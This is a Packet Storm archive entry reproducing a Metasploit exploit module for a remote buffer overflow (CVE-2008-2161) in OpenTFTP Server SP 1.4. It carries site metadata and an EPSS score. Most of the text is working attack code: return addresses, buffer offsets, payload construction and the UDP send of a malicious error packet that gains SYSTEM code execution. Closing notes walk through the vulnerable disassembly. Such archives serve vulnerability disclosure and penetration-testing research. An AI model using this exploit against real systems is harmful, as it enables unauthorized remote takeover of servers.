Lucene search

K
packetstormTixxDZPACKETSTORM:108142
HistoryDec 24, 2011 - 12:00 a.m.

OpenTFTP SP 1.4 Error Packet Overflow

2011-12-2400:00:00
tixxDZ
packetstormsecurity.com
43

0.638 Medium

EPSS

Percentile

97.9%

`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = AverageRanking  
  
include Msf::Exploit::Remote::Udp  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'OpenTFTP SP 1.4 Error Packet Overflow',  
'Description' => %q{  
This module exploits a buffer overflow in OpenTFTP Server SP 1.4. The vulnerable  
condition triggers when the TFTP opcode is configured as an error packet, the TFTP  
service will then format the message using a sprintf() function, which causes an  
overflow, therefore allowing remote code execution under the context of SYSTEM.  
  
The offset (to EIP) is specific to how the TFTP was started (as a 'Stand Alone',  
or 'Service'). By default the target is set to 'Service' because that's the default  
configuration during OpenTFTP Server SP 1.4's installation.  
},  
'Author' =>  
[  
'tixxDZ', #Initial discovery, poc  
'steponequit' #Metasploit module  
],  
'References' =>  
[  
['CVE', '2008-2161'],  
['BID', '29111'],  
['URL', 'http://downloads.securityfocus.com/vulnerabilities/exploits/29111.pl']  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
},  
'Payload' =>  
{  
'Space' => 5000,  
'BadChars' => "\x00\x0a\x0d",  
'StackAdjustment' => -3500,  
},  
'Platform' => 'win',  
'Targets' =>  
[  
#.bss section that is overwritten  
[ 'OpenTFTP 1.4 Service', { 'Ret' => 0x0041b3ab } ],  
[ 'OpenTFTP 1.4 Stand Alone', { 'Ret' => 0x0041b3ab } ]  
  
],  
#TFTP server is installed as an NT service by default  
'DefaultTarget' => 0,  
'Privileged' => false,  
'DisclosureDate' => 'Jul 05 2008'))  
  
register_options(  
[  
Opt::RPORT(69),  
], self.class)  
end  
  
def exploit  
  
if target.name =~ /OpenTFTP 1.4 Stand Alone/  
# This hits msvcrt.printf()  
sploit = "\x00\x05" + make_nops(10)  
sploit << payload.encoded  
sploit << rand_text_alpha(20517 - payload.encoded.length)  
sploit << [target['Ret']].pack('V')  
sploit << Rex::Text.rand_text_alpha(1469)  
  
elsif target.name =~ /OpenTFTP 1.4 Service/  
#This hits time()  
sploit = "\x00\x05" + make_nops(10)  
sploit << payload.encoded  
sploit << rand_text_alpha(20445 - payload.encoded.length)  
sploit << [target['Ret']].pack('V')  
sploit << Rex::Text.rand_text_alpha(1545)  
end  
  
# Send the malicious packet  
connect_udp  
udp_sock.put(sploit)  
handler  
disconnect_udp  
  
end  
  
end  
  
=begin  
NOTE: If the module is run on a OSX box, you will probably see this error:  
[-] Exploit exception: Message too long  
That's OSX for you.  
  
The vulnerable condition triggers when the TFTP opcode "\x00\x05" gets parsed in a ntohs() call:  
.text:004022F6 mov eax, ds:dword_41B370  
.text:004022FB movzx eax, word ptr [eax]  
.text:004022FE mov [esp+5C8h+var_5C8], eax  
.text:00402301 mov [ebp+var_550], 0FFFFFFFFh  
.text:0040230B call ntohs  
.text:00402310 sub esp, 4  
.text:00402313 cmp ax, 5  
.text:00402317 jnz short loc_40236F  
...  
  
When the value matches 0x05, we then head down to a sprinf() function to generate an error  
message, which causes an overflow:  
.text:00402330 mov eax, ds:dword_41B370  
.text:00402335 add eax, 4  
.text:00402338 mov [esp+5C8h+var_5BC], eax  
.text:0040233C mov [esp+5C8h+var_5C0], edx  
.text:00402340 mov [esp+5C8h+var_5C4], offset aErrorIAtClient ; "Error %i at Client, %s"  
.text:00402348 mov [esp+5C8h+var_5C8], offset byte_41B394  
.text:0040234F call sprintf  
  
And then we either corrupt a msvcrt.printf() or time() call (in logMess), which end up gaining  
control.  
  
In source:  
http://pastebin.com/QgZDwcan  
  
else if (ntohs(datain->opcode) == 5) // Line 224  
{  
sprintf(serverError.errormessage, "Error %i at Client, %s", ntohs(datain->block), &datain->buffer);  
logMess(req1, 1);  
..... so on .....  
  
You can also corrupt a SetServiceStatus() call with a smaller buffer, but obviously doesn't  
give you a better crash than this one.  
=end  
`

0.638 Medium

EPSS

Percentile

97.9%